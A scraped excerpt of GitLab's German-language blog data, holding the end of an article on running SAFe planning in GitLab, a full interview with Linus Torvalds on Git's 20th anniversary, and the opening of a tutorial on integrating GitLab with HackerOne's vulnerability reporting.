Planung, Programmierung, Testen und Sicherheit finden alle an einem Ort statt.  \n2. **Alles ist miteinander verbunden**: Du kannst die Arbeit vom großen Epic bis hinunter zum Code und zur Bereitstellung verfolgen.  \n3. **Alle sind auf dem gleichen Stand**: Entwickler(innen), Produktverantwortliche und Sicherheitsteams arbeiten alle mit demselben Tool zusammen.  \n4. **Vollständige Transparenz**: Stakeholder haben einen zentralen Ort, an dem sie nach Updates suchen können.  \n5. **Das Gesamtbild**: Du siehst Planungs- und Entwicklungsmetriken zusammen, damit du weißt, was wirklich vor sich geht.\n\nWenn deine Entwicklungsteams GitLab bereits schätzen, warum sollten sie dann für das Planen zu einem anderen Tool wechseln oder komplexe, zusammengeschusterte Integrationen erstellen? Wenn du deine SAFe-Planung in GitLab integrierst, wird die Arbeit für alle Beteiligten erheblich vereinfacht.\n\n## Implementierungsgrundsätze\n\nIch habe mit Teams zusammengearbeitet, die von traditionellen SAFe-Tools zu GitLab wechselten. Dabei habe ich Folgendes gelernt: Konzentriere dich auf **das, was jede Zeremonie zu erreichen versucht**, und nicht auf die exakte Nachbildung deiner alten Tools.\n\nDie Teams, die GitLab optimal nutzen, sind diejenigen, die die nativen Funktionen nutzen, anstatt dagegen anzukämpfen. Ja, es erfordert einige Vorarbeit, um herauszufinden, wie du deine SAFe-Konzepte abbilden und deine Workflows einrichten kannst. Aber wenn das einmal erledigt ist, wirst du feststellen, dass deine Prozesse tatsächlich einfacher und nicht komplexer werden.\n\nDer Schlüssel liegt in der Definition von Konventionen, die jeder befolgt. Welche Labels stehen für was? Wie wirst du Teams verfolgen? Was gehört in ein Epic und was in ein Ticket? Mit ein wenig Vorarbeit bei diesen Entscheidungen erhältst du ein intuitives System, das den gesamten Koordinationsaufwand zwischen verschiedenen Tools eliminiert.\n\n## Erste Schritte\n\nBereit, es auszuprobieren? So beginnst du mit der Implementierung von SAFe in GitLab:\n\n1. **Richte deine Struktur ein**: Erstelle Gruppen und Untergruppen, die [deiner Organisation entsprechen](https://about.gitlab.com/de-de/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).  \n2. **Definiere deine Aufgabenverteilung**: Entscheide, wie du [Epics](https://about.gitlab.com/de-de/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), [Tickets](https://docs.gitlab.com/user/project/issues/managing_issues/) und [Aufgaben](https://docs.gitlab.com/user/tasks/) verwenden möchtest.  \n3. **Erstelle deine Iterationen**: Richte deinen [Sprint-Zeitplan](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence) ein.  \n4. **Füge deine Meilensteine hinzu**: [Meilensteine](https://docs.gitlab.com/user/project/milestones/#create-a-milestone) stellen deine Programmschritte in GitLab dar.  \n5. **Erstelle deine Boards**: Erstelle verschiedene Ansichten für verschiedene Zeremonien.  \n6. **Konventionen vereinbaren**: Dokumentiere, wie du Labels und benutzerdefinierte Felder verwendest.\n\nWenn du dir im Voraus die Zeit nimmst, diese Entscheidungen zu überdenken, ersparst du dir später viele Kopfschmerzen. Und denke daran, dass du es nicht am ersten Tag perfekt machen musst – du kannst jederzeit Anpassungen vornehmen, während du dazulernst.\n\n## Alles zusammenbringen\n\nGitLab bietet dir eine solide Grundlage für die Ausführung von SAFe, insbesondere wenn deine Entwicklungsteams bereits von GitLab begeistert sind. Wenn du Planung und Entwicklung in einem einzigen Tool vereinst, eliminierst du lästige Übergaben, erleichterst die Zusammenarbeit und beschleunigst den gesamten Prozess.\n\nDas Schöne an den Planungstools von GitLab ist, dass sie flexibel genug sind, um sich an deine spezifischen SAFe-Anforderungen anzupassen. Du bist nicht an starre Arbeitsabläufe gebunden, sondern kannst deinen Ansatz weiterentwickeln, wenn deine Teams erfahrener werden und sich deine Bedürfnisse ändern.\n\n> Bist du bereit zu erkennen, wie viel besser das Leben ohne diese Planungsinseln ist? [Starte noch heute deine kostenlose Testversion](https://about.gitlab.com/de-de/free-trial/) und erfahre aus erster Hand, wie GitLab deine SAFe-Implementierung verändern kann.\n\n* 💡 Wenn dir dieser Beitrag gefallen hat, lies auch den folgenden Beitrag dazu: [GitLab für die Agile-Softwareentwicklung](https://about.gitlab.com/de-de/blog/gitlab-for-agile-software-development/)*\n",[973,746,745,680,767],"2025-05-12",{"slug":1818,"featured":92,"template":682},"safe-without-silos-in-gitlab","content:de-de:blog:safe-without-silos-in-gitlab.yml","Safe Without Silos In Gitlab","de-de/blog/safe-without-silos-in-gitlab.yml","de-de/blog/safe-without-silos-in-gitlab",{"_path":1824,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1825,"content":1831,"config":1836,"_id":1838,"_type":16,"title":1839,"_source":17,"_file":1840,"_stem":1841,"_extension":20},"/de-de/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds",{"title":1826,"description":1827,"ogTitle":1826,"ogDescription":1827,"noIndex":6,"ogImage":1828,"ogUrl":1829,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1829,"schema":1830},"Wir feiern das 20-jährige Git-Jubiläum mit dessen Erfinder Linus Torvalds","Erfahre, wie das Open-Source-Versionskontrollsystem entstanden ist und was Linus davon hält, neue Programmiersprachen zu Git hinzuzufügen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662510/Blog/Hero%20Images/git-20-years-opt1.png","https://about.gitlab.com/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wir feiern das 20-jährige Git-Jubiläum mit dessen Erfinder Linus Torvalds\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2025-04-07\",\n      }",{"title":1826,"description":1827,"authors":1832,"heroImage":1828,"date":1833,"body":1834,"category":1033,"tags":1835,"updatedDate":1650},[1754],"2025-04-07","Das Versionskontrollsystem Git wurde am 7. April 2005 vom \"Vater\" des Linux-Kernels, Linus Torvalds, veröffentlicht. Heute feiern wir den 20. Jahrestag dieses wichtigen Projekts, das mittlerweile von fast allen Entwickler(inne)n verwendet wird. Zu diesem Anlass habe ich mit Linus über die Geschichte von Git und darüber gesprochen, warum er die Rolle des Chefentwicklers von Git abgegeben hat und was seiner Meinung nach die wichtigsten Meilensteine sind.\n\n**2005 warst du bereits Betreuer des aufstrebenden Linux-Kernels. Warum hast du dich entschieden, ein neues Versionskontrollsystem zu entwickeln?**\n\nAnfangs habe ich Versionskontrolle wirklich gehasst.\n\nIch habe herkömmliche Versionskontrollsysteme (CVS/RCS/SCCS) sowohl als Endbenutzer (z. B. beim Nachverfolgen von Open-Source-Projekten wie [GCC](https://gcc.gnu.org/)) als auch als Entwickler (bei Transmeta haben wir für alles CVS genutzt) kennengelernt und hatte wirklich eine tiefe Abneigung dagegen.\n\n\u003Cimg src=\"https://about.gitlab.com/images/blogimages/linustorvalds.png\" align=\"left\" width=\"200px\" style=\"padding-right: 20px; padding-bottom: 10px\"/>\n\nDamals wechselten die meisten Projekte, die CVS verwendeten, vermutlich zu [SVN](https://subversion.apache.org/), aber für mich war das ehrlich gesagt nur Schönrederei. SVN war ja nichts als CVS in einer anderen Form und mit einem geringfügig besseren UI, aber die grundlegenden Dinge waren nicht besser und es wurden sogar einige neue Probleme hinzugefügt.\n\nEs gibt zu viele Probleme mit CVS und den anderen Lösungen, um sie hier alle aufzulisten. Glücklicherweise wurden sie alle zum Großteil obsolet und junge Entwickler(innen) müssen sich wahrscheinlich nie mit einem dieser Systeme beschäftigen. Ich weigerte mich also kategorisch, für den Kernel damit zu arbeiten, auch wenn wir für die Nachverfolgung des Codes einiger Untersysteme (vor allem beim Netzwerk) in den 90ern tatsächlich CVS verwendeten.\n\nDamals lebte ich in der Bay Area. Larry McVoy, den ich von früheren Projekten kannte (vor allem von [Imbench](https://www.usenix.org/legacy/publications/library/proceedings/sd96/full_papers/mcvoy.pdf)), hatte BitMover gegründet, bei dem ein neues Versionskontrollmodell namens BitKeeper, oder kurz BK, verwendet wurde.\n\nBK war zwar nicht Open Source, aber Larry hatte eine Vorliebe für Open-Source-Projekte und hatte das Gefühl, dass die fehlende Versionskontrolle die Entwicklung des Kernels wirklich ausbremste. Er hatte nicht unrecht, aber die traditionelle Quellcodeverwaltung funktionierte für mich einfach nicht. Larry verbrachte einige Zeit damit, mir und David Miller (einem Netzwerkbetreuer und bestehendem CVS-Benutzer) zu zeigen, was BitKeeper alles konnte.\n\nBK war nicht perfekt und basierte wie so viele andere Systeme zur Quellcodeverwaltung auf dem Source Code Control System (SCCS) und setzte daher wie alle anderen auf dasselbe unzureichende Modell mit „dateibasiertem Verlauf“. Dieses verursachte riesige, fundamentale Probleme, wenn Dateien umbenannt und gelöscht wurden.\n\nAndererseits war BK nicht nur reine Schönrederei. Es basierte zwar grundlegend auf SCCS, aber auf höherer Ebene behob es einige wirklich fundamentale Probleme und ermöglichte eine echte verteilte Entwicklung. Zudem hatte es einen echten globalen – keinen reinen dateibasierten – Verlauf, sodass es tatsächlich Code von verschiedenen Entwicklungszweigen zusammenführen konnte.\n\nMit CVS war das Erstellen von Branches und deren Zusammenführung etwas, das man mit anderen planen und besprechen musste – also ein großes Ereignis. Mit BK war jedes Repository ein Branch. Heute halten wir das für selbstverständlich, und natürlich ist Git noch viel weiter gegangen: Es gibt viele Branches *pro* Repository. Doch auch das viel eingeschränktere Modell von BK war zu diesem Zeitpunkt ein echter Wendepunkt.\n\nAber wie gesagt, BK war nicht perfekt. Es nutzte einen dateibasierten Verlauf, was ein fundamentales Problem ist, denn dadurch können Dateien einfach nicht zuverlässig umbenannt und zusammengeführt werden, was unvermeidlich zu Chaos und Probleme führt (alle, die CVS kennen: Denkt an Attic …). Außerdem gab es Einschränkungen bei der Skalierbarkeit. Diese wurden aber nur langsam etwas problematischer.\n\nDas größte Problem bei BK war die Lizenzierung. Auch wenn im Laufe der Jahre (wir verwendeten BK von 2002 bis 2005) viele Kernel-Betreuer(innen) zu diesem System wechselten, gab es immer wieder Schwierigkeiten damit. Diese Schwierigkeiten spitzten sich Ende 2004 zu, als der Einsatz von BK für den Kernel einige Monate später praktisch nicht mehr möglich war.\n\nIch war nun in der Situation, dass ich drei Jahre lang endlich eine Versionskontrolle verwendet hatte, die tatsächlich funktionierte und viele Probleme gelöst hat. Ich wollte also keinesfalls wieder zum Zustand vor der Versionskontrolle zurückkehren, doch in den Jahren, in denen wir BK eingesetzt hatten, war von der Open-Source-Community nicht wirklich eine bessere Lösung gekommen.\n\nSicher, die Leute wussten, dass CVS und SVN nicht wirklich gut funktionierten, und es gab Projekte, in denen alternative Ansätze verfolgt wurden, doch diese waren teilweise sogar noch schlechter (sie waren im Grunde einfach nur schick verpacktes Patch-Tracking). Einige dagegen hatten zwar gute Ideen, machten aber schreckliche Entwicklungsfehler (siehe [Monotone](https://www.monotone.ca/)).\n\nIch sah mich also eine Weile um und erkannte dann, dass es nur einen Ausweg gab: Ich musste meine eigene Lösung programmieren.\n\nTechnisch gesehen dauerte es nur wenige Tage, die erste Version von Git zu erstellen – das kann man alles im Git-Commit-Verlauf nachlesen. Dort sieht man wunderbar, wie es von quasi Null zu einer gerade so nutzbaren Lösung wurde, für die ich dann eine Woche später Patches veröffentlichte (und die dann einige Tage danach aktiv für den Kernel verwendet wurde).\n\nDabei wird aber die Tatsache außer Acht gelassen, dass ich bis zu diesem Zeitpunkt schon eine Weile über das Problem *nachgedacht* hatte. Programmieren ist einfach. Ein gutes Konzept ist das, was zählt. Hinter diesen wenigen Tagen steckt also einiges an Vorarbeit, die sehr wichtig ist – und das sieht man im Verlauf nicht.\n\nDiese erste Version war sehr, sehr einfach und konnte vieles von dem nicht, was später noch kommen sollte. Man kann aber auch in diesen ersten Tagen schon viel vom Kernkonzept sehen.\n\n**Kannst du uns einen kurzen Rückblick über die ersten Tage und Wochen des Git-Projekts geben?**\n\nIch hatte im Grunde beschlossen, die Kernel-Entwicklung einzustellen, bis ich eine Alternative hatte, die für mich funktionierte. Das Resultat sollte eine verteilte Entwicklung und Höchstleistung ermöglichen sowie ein System sein, mit dem man absolut verlässlich jegliche Beeinträchtigung verhindern kann.\n\nIch möchte betonen, dass ich mich nicht wirklich für Quellcodeverwaltungssysteme interessierte. Ich war am Endergebnis interessiert, nicht am Prozess. Git war mir also nie so wichtig wie der Kernel: Ich arbeite an Linux, weil ich Kernels spannend finde. Ich habe an Git gearbeitet, weil ich es musste.\n\nDamit wären wir dann auch schon bei deiner nächsten Frage.\n\n**Du hast die Rolle des Chefentwicklers von Git nach einigen Monaten an Junio Hamano übergeben, der dies noch immer ist. Warum hast du deine Position abgegeben, und warum an Junio?**\n\nDie Übergabe der Rolle war keine schwierige Entscheidung. Es war vielmehr so: „Sobald ich jemanden finde, dem ich das Projekt anvertrauen kann, gehe ich wieder zurück und arbeite nur noch am Kernel.“\n\nDas soll nicht heißen, dass ich einfach alles hingeworfen und auf das Beste gehofft habe. Ich war rund vier Monate lang Chefentwickler von Git, weil ich spürte, dass ich jemanden finden musste, der gekommen war, um zu bleiben, und der diesen ominösen „guten Riecher“ hatte.\n\nJunio war als einer der Ersten dabei – quasi ab der ersten Woche. Aber ich bin nicht einfach zu ihm hin gerannt und habe gesagt: „Du bist dran.“ Es braucht eine Weile, bis man sieht, wer wirklich dabei bleibt und wer sinnvollen Code schreibt und sinnvolle Entscheidungen trifft.\n\nUnd ich denke, Junio war ein echtes Vorbild. Ich bekomme viel zu viel Lob für die paar Monate, die ich in Git gesteckt habe – besonders angesichts des 20-jährigen Jubiläums. Ich bin zwar dafür verantwortlich, dass das Kernkonzept richtig umgesetzt und das Projekt zum Laufen gebracht wurde, aber Junio hat das Projekt wirklich geleitet (damit will ich nicht die hunderten anderen Beteiligten vergessen).\n\n**Die erste Version des Versionskontrollsystems Mercurial wurde 12 Tage nach der ersten Version von Git am 19. April 2005 veröffentlicht. Viele Leute behaupten, dass die User Experience von Mercurial der von Git überlegen war, aber heute ist Git deutlich beliebter. Warum glaubst du, hat Git sich gegen Mercurial durchgesetzt?**\n\nOh, ein großer Teil davon sind offensichtlich nur Netzwerkeffekte, und Quellcodeverwaltungssysteme haben sehr starke Netzwerkeffekte. Deshalb hat CVS trotz all seiner Einschränkungen so lange überlebt.\n\nDer Kernel verwendete Git und es wurde irgendwann in der Community von Ruby on Rails sehr beliebt – und dann setzte es sich überall durch.\n\nAber ich bin wirklich überzeugt, dass das Konzept von Git besser ist. Das Kernmodell ist sowohl sehr einfach als auch sehr leistungsfähig, und ich denke, das machte es einfacher, es in andere Umgebungen zu übertragen. JGit war ein frühes Beispiel dafür, aber es gibt natürlich Implementierungen wie das virtuelle Dateisystem MSgit usw.\n\nWährend Git anfangs berühmt-berüchtigterweise schwierig zu nutzen war, glaube ich, dass vieles davon darauf zurückzuführen ist, dass die Leute Dinge zuvor „richtig“ machen mussten. Die Leute kamen nämlich von anderen Umgebungen und fanden Git nicht intuitiv, da Git ein paar harte Entscheidungen getroffen hatte, die Nutzer(innen) von herkömmlichen Quellcodeverwaltungssystemen niemals gemacht hätten.\n\n**Das Git-Projekt ist nie stehengeblieben, seit du die Rolle des Chefentwicklers an Junio übergeben hast, und die Community arbeitet kontinuierlich an neuen Funktionen. Was waren deiner Meinung nach die wichtigsten Meilensteine, nachdem du das Projekt verlassen hast?**\n\nDas ist schwer zu beantworten, da ich Git ja so entwickelt hatte, dass es für mich funktionierte. Die Dinge, die *ich* verwende, haben also quasi vom ersten Tag an funktioniert. Ein offensichtliches Beispiel: Für viele Leute war es offensichtlich ein riesiger Schritt, Git auf Windows zum Laufen zu bringen, aber *mich* betraf das überhaupt nicht. ;-)\n\nGit hat ja auch eine ganze Infrastruktur, mit der es einfacher zu nutzen ist. Die größten Meilensteine entstanden meiner Meinung nach aber, als die Menschen die Git-Infrastruktur heranzogen und Dinge darauf aufbauend entwickelten. Diese fließen natürlich oft auch wieder in Git-Funktionen ein, aber gleichzeitig ist der Meilenstein etwas Externes.\n\nEin offensichtliches Beispiel: Alle großen Git-Hosting-Websites waren große Meilensteine. Dadurch, dass Git verteilt war, waren diese viel einfacher zu entwickeln, aber der *Meilenstein* war dann, dass das Hosting es den Benutzer(innen) so einfach machte, Git für verschiedenste Projekte zu nutzen.\n\n**Wenn du wieder in der Lage wärst, hauptberuflich an Git zu arbeiten, gäbe es etwas, das du gerne implementieren würdest?**\n\nAuf keinen Fall. Git hat von Anfang an alles getan, was ich brauchte – ich nutze es tatsächlich nur ziemlich eingeschränkt, und mir ist nur ein Projekt wichtig.\n\nUnd ich sage „Auf keinen Fall“, weil ich mich auf eine meiner früheren Antworten beziehe: Ich war noch nie wirklich an Quellcodeverwaltungssystemen interessiert. Ich denke, ein wichtiger Grund dafür, dass Git sich von anderen Quellcodeverwaltungssystemen so sehr unterscheidet – größtenteils im positiven Sinne – ist, dass ich Git eher wie ein verteiltes Journaling-Dateisystem angegangen bin und nicht wie eine herkömmliche Quellcodeverwaltung.\n\n**Gibt es eine Funktion oder eine konzeptionelle Entscheidung in Git, die du im Nachhinein bereust?**\n\nKonzeptionelle Entscheidungen? Nein. Ich bin immer noch überzeugt, dass das übergeordnete Konzept sehr gut ist. Man kann verschiedene Git-Konzepte diskutieren, ohne auf die kleinteilige Komplexität der eigentlichen Implementierung eingehen zu müssen.\n\nUnd ich denke, das ist wichtig in einem Projekt. Man benötigt ein bestimmtes übergeordnetes Prinzip, dem die konzeptionelle Ausrichtung eines Projekts folgt.\n\nManchmal treiben die Leute das zu weit und denken, dass das übergeordnete Konzept bedeutet, dass die Implementierung dann sklavisch einem Kernprinzip folgen muss. Das ist aber auch falsch – die *Implementierung* hat viele hässliche Grenzfälle, da die Realität nun einmal hart ist und Menschen seltsame Dinge wollen. Es ist schon eine Art übergeordnetes Konzept nötig, auf das man sich beziehen kann und über das man auf übergeordneter Ebene argumentieren kann, bevor man sich die Hände an der harten Realität schmutzig macht.\n\nIch denke, Git hat da ein gutes Gleichgewicht gefunden. Ein sehr geradliniges Objektspeicher-Konzept („strukturierte Merkle-Bäume“, wenn du aus dem CS-Bereich kommst, oder stell sie dir einfach als „inhaltsadressierbaren Speicher“ vor, wenn du aus dem Dateisystem-Bereich kommst). Dieses Kernkonzept ist da, ist aber gleichzeitig in der Realität nur ein winziger Teil des eigentlichen Codes. Der größte Teil des *Codes* betrifft all die Dinge, die man mit dem Kernkonzept machen kann. Diese grundlegende konzeptionelle Klarheit gibt dem Projekt trotzdem eine Art übergeordnete Struktur.\n\nEs ist die gleiche Art von übergeordneter Struktur, die Unix selbst hatte, von „alles ist eine Datei“ bis hin zur Prozessabwicklung. Es gibt zwar ein paar übergeordnete „Konzepte“, aber bei 99 % des Codes geht es ganz einfach darum, das, was man auf diesem Design aufgebaut ist, so zu gestalten, dass es uns in der realen Welt nutzt.\n\nIch habe zwei Mantras hinsichtlich der Technologie: „Wenn ich weiter geblickt habe, so deshalb, weil ich auf den Schultern von Riesen stehe“ (Newton) und „Genie ist 1 % Inspiration und 99 % Prozent Transpiration“ (Edison).\n\nAber da wir schon über die 99 % Transpiration sprechen: Obwohl ich mit dem Gesamtdesign sehr zufrieden bin, gibt es sicherlich verschiedene Details, die ich anders gemacht hätte, wenn ich Git heute entwickeln würde.\n\nEhrlich gesagt, sind sie aber nicht so wichtig. Viel wichtiger sind all die *guten* Details, die in den letzten zwei Jahrzehnten entwickelt wurden.\n\n**Im Linux-Kernel wurde Rust als Programmiersprache für einige der Subsysteme eingeführt. Glaubst du, dass es sinnvoll ist, solche neueren Programmiersprachen auch in Git zu verwenden?**\n\nIch vermute, dass es bei Git weniger Gründe gibt, Sprachen zu mischen, was immer etwas schwierig ist.\n\nIm Kernel ist das Endergebnis eine einzige Kernel-Binärdatei – auch wenn der Großteil davon dynamisch als Module geladen werden kann, sind sie immer noch effektiv in einer einzige Binärdatei verbunden.\n\nDas macht die Verwendung mehrerer Sprachen komplexer. Andererseits gibt es für den Kernel auch mehr Gründe, sich mit der Speichersicherheit und folglich mit neueren Sprachen zu befassen.\n\nWenn jemand Teile von Git in Rust oder einer anderen Programmiersprache schreiben möchte, ist es vermutlich viel sinnvoller, einfach eine separate Implementierung zu erstellen, anstatt zu versuchen, in einer Binärdatei mehrere Sprachen zu mischen.\n\nDie Kernideen von Git sind im Grunde so einfach, dass es vermutlich nicht allzu schwierig ist, einfach parallele Implementierungen des Kernel zu haben. Dann kann man bestimmte Problembereiche gezielt angehen, in denen unterschiedliche Sprachen sinnvoll sind.\n\nDas haben wir natürlich schon in Git gesehen: Genau das ist JGit. Hier wurde eine andere Programmiersprache verwendet, die sinnvoller für die webbasierte Umgebung war.\n\nIch weiß, dass es bereits Rust-Implementierungen einiger der Kernfunktionen von Git gibt. Hier ist die Situation vermutlich ähnlich: Sie werden in bestimmten Situationen sinnvoller sein als einfach alles in Rust umzuwandeln.\n\nAllen, die sich für die Implementierung mit Rust interessieren, empfehle ich, nach Bereichen Ausschau zu halten, in denen die Vorteile von Rust offensichtlicher sind. Ich glaube nicht, dass die Verwendung von C für den Standard-Quellcode von Git wirklich so problematisch ist.\n\n**Alle paar Jahre tauchen neue Versionskontrollsysteme auf. Glaubst du, dass Git auch in Zukunft vorne dabei bleiben wird?**\n\nIch habe bereits die Netzwerkeffekte bei Quellcodeverwaltungssystemen erwähnt. Meiner Meinung nach muss ein neues System daher nicht einfach nur ein bisschen, sondern viel, viel besser sein, um Git zu ersetzen. Oder aber so kompatibel, dass es dann eigentlich nur eine neue Implementierung von Git ist.\n\nIch denke, dass sich die Situation in der Quellcodeverwaltung geändert hat: Git hat nicht die riesigen, fundamentalen Lücken, die Quellcodeverwaltungssysteme vor Git hatten. Es ist also ziemlich schwer, „enorm besser“ zu sein.\n\nAlso, ja, ich gehe davon aus, dass Git auf absehbare Zeit vorne dabei bleibt und die Leute eher an Verbesserungen *an* Git arbeiten als an Ersatzlösungen.\n\n*Hinweis: Dieses Interview wurde aus Platzgründen und zur besseren Übersichtlichkeit bearbeitet.* \n\n## Erfahre mehr über Git\n\n- [Was gibt es Neues in Git 2.49.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-49-0/)  \n- [Was gibt es Neues in Git 2.48.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-48-0/)\n- [Der Anfängerleitfaden zum „reftable“-Format von Git](https://about.gitlab.com/de-de/blog/a-beginners-guide-to-the-git-reftable-format/)\n- [Git-Projekt](https://git-scm.com/)",[913,849],{"slug":1837,"featured":92,"template":682},"celebrating-gits-20th-anniversary-with-creator-linus-torvalds","content:de-de:blog:celebrating-gits-20th-anniversary-with-creator-linus-torvalds.yml","Celebrating Gits 20th Anniversary With Creator Linus Torvalds","de-de/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds.yml","de-de/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds",{"_path":1843,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1844,"content":1850,"config":1856,"_id":1858,"_type":16,"title":1859,"_source":17,"_file":1860,"_stem":1861,"_extension":20},"/de-de/blog/enhance-application-security-with-gitlab-hackerone",{"title":1845,"description":1846,"ogTitle":1845,"ogDescription":1846,"noIndex":6,"ogImage":1847,"ogUrl":1848,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1848,"schema":1849},"Bessere Anwendungssicherheit mit GitLab und HackerOne","Erfahre mehr über die Zusammenarbeit zwischen GitLab und HackerOne und lerne, wie du eine Integration implementierst, die die Sicherheit der Anwendungen in deinem Unternehmen verbessert.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097503/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2810%29_5ET24Q6i8ihqrAOkge7a1R_1750097503214.png","https://about.gitlab.com/blog/enhance-application-security-with-gitlab-hackerone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bessere Anwendungssicherheit mit GitLab und HackerOne\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-03\",\n      }",{"title":1845,"description":1846,"authors":1851,"heroImage":1847,"date":1852,"body":1853,"category":765,"tags":1854,"updatedDate":1816},[762],"2025-04-03","Sicherheit darf im Entwicklungsprozess nicht länger eine Nebensache sein. Unternehmen benötigen robuste Lösungen, mit denen die Sicherheit in den gesamten Software-Entwicklungsprozess integriert wird. Hier kommt die Zusammenarbeit zwischen HackerOne und GitLab ins Spiel, denn sie bietet eine praktische Kombination für moderne Anwendungsentwicklungsteams.\n\n[GitLab](https://about.gitlab.com/de-de/), die umfassende, KI-basierte DevSecOps-Plattform, und HackerOne, die führende Crowd-Sicherheitsplattform, sind eine Partnerschaft eingegangen, die das Beste aus beiden Welten vereint: den optimierten DevSecOps-Workflow von GitLab und die leistungsstarke Sicherheitslückenverwaltung von HackerOne.\n\nIn diesem Tutorial erfährst du, wie du die Produktivität der Entwickler(innen) und deine Sicherheitslage verbessern kannst, indem du die GitLab-Integration von HackerOne implementierst.\n\n## Eine Integration, die Entwickler(innen) befähigt\n\nDie GitLab-Integration von HackerOne ist bemerkenswert einfach und dennoch leistungsstark. Wenn Sicherheitsexpert(inn)en Sicherheitslücken über die Plattform von HackerOne entdecken, werden diese Erkenntnisse automatisch in GitLab-Tickets umgewandelt. Dadurch entsteht ein nahtloser Workflow, der folgendermaßen abläuft:\n\n* Sicherheitsexpert(inn)en identifizieren Sicherheitslücken über die Plattform von HackerOne.\n* Validierte Sicherheitslücken werden automatisch in GitLab-Tickets umgewandelt.\n* Entwicklungsteams können diese Tickets direkt in ihren bestehenden Workflows bearbeiten.\n* Der Lösungsstatus wird zwischen beiden Plattformen synchronisiert.\n\nDu kannst die Vorteile von GitLab und HackerOne nutzen, indem du die [Integration](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) verwendest und GitLab-Tickets als Referenzen auf HackerOne nachverfolgst. Diese Integration bietet eine bidirektionale und nahtlose Datensynchronisierung zwischen deinem HackerOne-Bericht und dem GitLab-Ticket, wodurch die Abstimmung zwischen Entwicklungs- und Sicherheitsteams verbessert und die Behebung von Sicherheitslücken optimiert wird.\n\nFolge den Anweisungen in der [GitLab-Integrationsdokumentation von HackerOne](https://docs.hackerone.com/en/articles/10394699-gitlab-setup), um die GitLab-Integration so zu konfigurieren, dass sie Informationen zwischen deinem HackerOne-Bericht und deinem GitLab-Ticket synchronisiert. Dies umfasst folgende Schritte:\n\n1. [Einrichtung einer OAuth-2.0-Anwendung](https://docs.gitlab.com/ee/integration/oauth_provider.html) für deine GitLab-Instanz mit den bereitgestellten HackerOne-Einstellungen\n2. Verbindung von HackerOne zum neu erstellten OAuth 2.0 auf GitLab\n3. Berechtigung von HackerOne, auf die GitLab-API zuzugreifen\n4. Festlegung des GitLab-Projekts, das du zu HackerOne-Berichten eskalieren möchtest\n5. Auswahl der HackerOne-Felder, die den entsprechenden GitLab-Feldern zugeordnet werden sollen\n6. Ereigniskonfiguration für GitLab zu HackerOne und umgekehrt\n\nSobald die Integration eingerichtet wurde, kannst du Daten bidirektional und nahtlos zwischen GitLab und HackerOne synchronisieren. Dies vereinfacht den Kontextwechsel und ermöglicht es, Sicherheitslücken einfach in beiden Systemen nachzuverfolgen. Die Integration bietet die folgenden Funktionen:\n\n* **Erstellen eines GitLab-Tickets aus HackerOne:** Du kannst neue GitLab-Tickets für Berichte erstellen, die du auf HackerOne erhältst.  \n* **Verknüpfung von HackerOne-Berichten mit bestehenden GitLab-Aufgaben.**   \n* **Synchronisierung von Updates von HackerOne zu GitLab:** Die folgenden Updates eines Berichts werden als Kommentar zu GitLab synchronisiert.\n  * Berichtskommentare  \n  * Staatusänderungen  \n  * Belohnungen  \n  * Änderungen der zuständigen Person  \n  * Öffentlichmachung  \n  * Schließen von GitLab-Tickets  \n* **Synchronisierung von Updates von GitLab zu HackerOne:** Die folgenden Updates in GitLab werden in HackerOne als interner Kommentar zum jeweiligen Bericht angezeigt:  \n  * Kommentare  \n  * Statusänderungen  \n* **Zuordnung von HackerOne-Schweregraden zu GitLab-Labels**: Dadurch kannst du eine benutzerdefinierte Priorität festlegen, wenn du einen Bericht zu GitLab eskalierst.  \n* **Zuordnung von Fälligkeitsdaten:** Damit kannst du basierend auf dem Schweregrad eines Berichts automatisch ein benutzerdefiniertes Fälligkeitsdatum festlegen.\n\n![GitLab und HackerOne fügen Kommentare hinzu oder ändern den Status des Berichts in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/sync_aHR0cHM6_1750097509644.png)\n\nDiese Funktionen vereinfachen die Abstimmung zwischen Entwicklungs- und Sicherheitsteams und optimieren die Behebung von Sicherheitslücken. Weitere Informationen zur Funktionsweise der Integration findest du in der [Integrationsdokumentation](https://docs.hackerone.com/en/articles/8571227-gitlab-integration).\n\n## Ein Blick in die Bug-Bounty-Programme von HackerOne\n\nHackerOne bietet Bug-Bounty-Programme oder Cybersicherheitsinitiativen an, bei denen man Belohnungen bekommt, wenn Sicherheitslücken in den Softwaresystemen, Websites oder Anwendungen von Kund(inn)en entdeckt und gemeldet werden. Bug-Bounty-Programme tragen auf folgende Weise zur Sicherheit einer Anwendung bei:\n\n* Sie helfen, Sicherheitsschwachstellen zu identifizieren, bevor diese missbraucht werden können.\n* Sie ermöglichen es, die vielfältige Expertise einer weltweiten Community aus Sicherheitsexpert(inn)en zu nutzen.\n* Sie sind eine kostengünstige Möglichkeit, die Cybersicherheit zu verbessern.\n* Sie ergänzen interne Sicherheitsmaßnahmen und traditionelle Penetrationstests.\n\nGitLab nutzt das Bug-Bounty-Programm von HackerOne und ermöglicht es Sicherheitsexpert(inn)en, Sicherheitslücken in den Anwendungen oder der Infrastruktur von GitLab zu melden. 